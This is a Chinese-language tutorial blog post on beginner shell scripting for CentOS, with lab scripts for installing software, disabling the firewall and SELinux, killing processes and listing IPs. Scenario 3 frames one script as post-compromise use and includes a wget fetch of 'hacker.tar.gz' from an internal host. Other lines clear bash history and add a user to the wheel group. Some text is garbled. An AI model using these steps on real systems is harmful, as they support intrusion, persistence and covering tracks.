shell脚本初识

shell脚本

场景1

删除/tmp/111下的所有文件

rm -rf /tmp/111/*

cd /tmp
mkdir 111
cd 111
vim 1.sh

#!/bin/bash
echo "rm file!"
rm -rf /tmp/111/*

chmod +x 1.sh
./1.sh

image-20250809202321412

实际测试

image-20250809202435195

场景2

在一个基础配置已经完成的CentOS 8中,下载各种基础工具(vim、firefox),下载apache服务,验证

#!/bin/bash
echo "更新yum"
1、yum update -y #执行很浪费时间,我们先忽略掉
1、安装基础的开发包
2、安装基础工具
3、下载apache服务
4、验证

echo "安装开发工具包!"
yum install -y "Development Tools"

echo "下载基础工具!"
yum install -y vim
yum install -y firefox

echo "下载httpd!"
yum install -y httpd
echo "启动并启用服务!"
systemctl start httpd
systemctl enable httpd

echo "正在验证!"
firefox http://127.0.0.1

echo "自动化脚本运行成功!"

场景3

当你拿到内网一台失陷主机权限以后,你写了以下一个脚本,下载恶意软件rpm包并在linux操作系统上运行
wget http://192.168.0.1:8000/hacker.tar.gz
先在自己电脑上安装一遍rpm包,yum去安装这些依赖包

#!/bin/bash
echo "安装插件"
yum install -y zlib-devel pcre* &> /dev/null
echo "解压nginx"
tar xf nginx-1.6.0.tar.gz
cd nginx-1.6.0
echo "正在安装nginx"
./configure --prefix=/usr/local/nginx &> /dev/null

ake &> /dev/null
make install &> /dev/null
echo "启动nginx"
/usr/local/nginx/sbin/nginx
firefox 127.0.0.1 &

场景4

查找所有隐藏文件、查找/tmp目录下最近1天修改的文件、查找权限过于宽松的文件
#!/bin/bash
find / -name ".*" -type f
find /tmp -type f -mtime -1
find / -type f -perm 777
显示CPU使用率最高的5个进程
#!/bin/sh
# 显示CPU使用率最高的5个进程
ps -eo pid,%cpu,comm --sort=-%cpu | head -n 6

# 显示内存使用率最高的5个进程
ps -eo pid,%mem,comm --sort=-%mem | head -n 6

# 杀死指定进程(替换PID为实际进程ID)
# kill 1234


#!/bin/sh
# 删除/tmp目录下超过30天的文件
find /tmp -type f -mtime +30 -exec rm -f {} \;

# 清空当前用户的命令历史
rm -rf ~/.bash_history
history -c

#!/bin/sh
# 显示当前登录用户
who

# 显示最近登录的用户
last | head -n 10

# 显示失败的登录尝试
grep "Failed" /var/log/auth.log

#!/bin/sh
# 显示所有网络连接
netstat -tulnp

# 显示外部IP连接
netstat -an | grep ESTABLISHED | awk '{print $5}' | cut -d: -f1 | sort | uniq -c

192.168.1.100

useradd m
usermod -aG wheel m

实验

1、写一个自动化脚本,让一台新机器,完成关防火墙关虚拟网卡换源selinux的操作 独立完成(针对CentOS 8)

#!/bin/bash

# 关闭并禁用防火墙
echo "正在关闭防火墙..."
systemctl stop firewalld
systemctl disable firewalld

# 关闭虚拟网卡
echo "正在关闭虚拟网卡"
systemctl disable libvirtd.service

# 备份并更换YUM源为阿里源
echo "正在更换YUM源为阿里云..."
# 备份原有源
mkdir -p /etc/yum.repos.d/backup
mv /etc/yum.repos.d/*.repo /etc/yum.repos.d/backup/
# 下载阿里源
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-8.repo
# 清理并重建缓存
yum clean all
yum makecache

# 关闭SELinux
echo "正在设置SELinux"
# mv /etc/selinux/config /etc/selinux/config.back
# echo SELINUX=permissive > /etc/selinux/config
# echo SELINUXTYPE=targeted/etc/selinux/config
echo "正在关闭SELinux..."
# 临时关闭
setenforce 0
# 永久关闭(修改配置文件)
sed -i 's/^SELINUX=enforcing/SELINUX=permissive/g' /etc/selinux/config

echo "操作完成!请手动重启系统使所有更改生效。"

实际测试,回到初识快照运行脚本

image-20250809205244115

查看防火墙和虚拟网卡

image-20250809205529168

查看repo源

image-20250809205600288

查看selinux

image-20250809205627704

2、写一个自动化脚本,自动识别firefox启动的pid,并且关闭firefox(最好一条命令解决)

#!/bin/bash
echo "Downloading Firefox!"
yum install -y vim
yum install -y firefox

firefox http://127.0.0.1 &

# 等待Firefox完全启动
sleep 3

# 查找Firefox主进程PID
FF_PID=$(pgrep -o firefox)

if [ -n "$FF_PID" ]; then
echo "找到Firefox进程 (PID: $FF_PID),正在关闭..."
kill $FF_PID
sleep 1
# 检查是否关闭成功
if ps -p $FF_PID > /dev/null; then
echo "普通关闭失败,尝试强制关闭..."
kill -9 $FF_PID
fi
echo "Firefox已成功关闭"
else
echo "未找到运行的Firefox进程"
fi


# 方法二
#!/bin/bash
pkill -f firefox || { pgrep firefox | xargs kill -9 2>/dev/null; }
  • pkill -f firefox:尝试通过进程名关闭所有Firefox进程
  • ||:如果第一条命令失败(找不到进程),则执行后续命令
  • pgrep firefox:查找所有Firefox进程ID
  • xargs kill -9:强制终止所有找到的进程
  • 2>/dev/null:忽略错误信息

image-20250809212634952

3、写一个自动化脚本,输出网卡名称和ip地址

#!/bin/bash

# 获取所有网络接口名称
interfaces=$(ip -o link show | awk -F': ' '{print $2}' | sort -u)

# 遍历每个接口获取IP地址
for intf in $interfaces; do
# 跳过回环接口和未启用的接口
if [[ "$intf" == "lo" ]] || ! ip link show "$intf" | grep -q "state UP"; then
continue
fi

# 获取IPv4地址
ipv4=$(ip -4 addr show dev "$intf" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')

# 获取IPv6地址(可选)
ipv6=$(ip -6 addr show dev "$intf" | grep -oP '(?<=inet6\s)[\da-f:]+' | head -1)

# 输出结果
if [ -n "$ipv4" ]; then
echo "网卡: $intf, IPv4: $ipv4"
fi
if [ -n "$ipv6" ]; then
echo "网卡: $intf, IPv6: $ipv6"
fi
done
  1. 获取所有网络接口:使用 ip -o link show 列出所有网络接口
  2. 过滤活跃接口
    • 跳过回环接口 (lo)
    • 只显示状态为 “UP” 的接口
  3. 获取IP地址
    • IPv4 地址:使用 ip -4 addr show
    • IPv6 地址:使用 ip -6 addr show(可选)
  4. 格式化输出:以清晰格式显示网卡名称和IP地址
#!/bin/bash

# 遍历所有网络接口
for intf in /sys/class/net/*; do
# 获取接口名称
intf_name=$(basename "$intf")

# 跳过回环接口
if [ "$intf_name" = "lo" ]; then
continue
fi

# 检查接口是否启用
if [ "$(cat "$intf/operstate")" != "up" ]; then
continue
fi

# 获取IPv4地址
ipv4=$(ip -4 addr show dev "$intf_name" 2>/dev/null | awk '/inet/ {split($2, a, "/"); print a[1]}')

# 输出结果
if [ -n "$ipv4" ]; then
echo "网卡: $intf_name, IP: $ipv4"
fi
done

image-20250809213528607

你写完脚本以后,发到github仓库里

Author: wickt42
Link: http://example.com/2025/08/08/shell脚本初识/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.